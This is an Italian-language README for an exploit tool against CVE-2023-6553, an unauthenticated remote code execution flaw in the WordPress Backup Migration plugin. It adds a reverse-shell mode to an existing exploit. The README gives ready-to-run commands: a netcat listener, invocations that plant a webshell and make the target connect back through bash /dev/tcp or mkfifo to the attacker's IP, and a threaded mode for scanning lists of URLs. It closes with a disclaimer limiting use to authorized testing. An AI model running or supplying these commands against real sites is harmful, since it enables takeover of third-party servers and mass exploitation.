CVE-2023-6553 — Plugin Backup Migration per WordPress - Reverse Shell

Una versione estesa dell'exploit CVE-2023-6553 di Chocapikk che aggiunge una modalità reverse shell con un solo comando alla webshell interattiva originale.

Vulnerabilità

CVE-2023-6553 — Esecuzione remota di codice non autenticata nel plugin WordPress Backup Migration (versioni ≤ 1.3.7).

Il plugin espone backup-heart.php, che legge una catena di filtri PHP dall'header HTTP Content-Dir e la passa a include() senza autenticazione né sanitizzazione. Ciò consente a un attaccante non autenticato di eseguire codice PHP arbitrario iniettando una catena php://filter appositamente costruita.

• CVSS: 9.8 (Critico)
• Plugin: Backup Migration ≤ 1.3.7
• Riferimento: WPScan

Crediti

Exploit originale di Chocapikk — tutta la logica di sfruttamento principale (generazione della catena di filtri, scrittura del file, shell interattiva) è opera sua. Questa repository lo estende solo con una modalità di attivazione della reverse shell.

Differenze rispetto all'originale

Le uniche aggiunte sono:

1. Metodo trigger_reverse_shell() — dopo che la webshell è stata distribuita (stesso processo dell'originale), invia una singola richiesta GET con il comando reverse shell come parametro 0, esattamente come farebbe la shell interattiva.
2. 4 nuovi argomenti argparse — per abilitare e configurare la modalità reverse shell.
3. 5 righe in main() — sostituiscono interactive_shell() con trigger_reverse_shell() quando è presente -r.

Tutto il resto — controllo della vulnerabilità, ciclo di scrittura del file, copia/unlink, modalità interattiva, scansione multi-URL — è invariato rispetto all'originale.

Requisiti

pip install requests rich alive-progress prompt-toolkit php-filter-chain

Utilizzo

Modalità reverse shell (nuova)

# Avvia prima il tuo listener
rlwrap nc -lvnp 4444

# Esegui l'exploit
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444

Se bash /dev/tcp non è disponibile sul target, usa mkfifo (che si affida a nc):

python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444 --shell mkfifo

Modalità webshell interattiva (comportamento originale)

python3 exploit.py -u http://TARGET/blog

Solo controllo vulnerabilità

python3 exploit.py -u http://TARGET/blog -c

Scansione di un elenco di URL

python3 exploit.py -f urls.txt -t 10 -o vulnerable.txt

Tutti gli argomenti

-u / --url      Target base URL (e.g. http://target/blog)
-r / --revshell Enable reverse shell mode
-l / --lhost    Your IP to receive the shell (required with -r)
-p / --lport    Your listener port (default: 4444)
     --shell    Shell type: bash (default) or mkfifo
-c / --check    Check vulnerability only, do not deploy shell
-f / --file     File with list of URLs to scan
-t / --threads  Threads for multi-URL scan (default: 5)
-o / --output   Output file for scan results

Come funziona

1. POST /wp-content/plugins/backup-backup/includes/backup-heart.php
   Content-Dir: php://filter/...<encoded PHP>
   → Writes webshell char by char to a temp file
   → Copies temp file to <random>.php

2. GET /wp-content/plugins/backup-backup/includes/<random>.php?0=<cmd>
   → Executes command via backtick operator
   → Interactive mode: loops reading commands from stdin
   → Reverse shell mode: sends bash/mkfifo one-liner, connects to listener

3. Cleanup: unlink(<random>.php)

Disclaimer

Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e ricerca sulla sicurezza. Non utilizzarlo contro sistemi per i quali non si dispone di esplicita autorizzazione al test.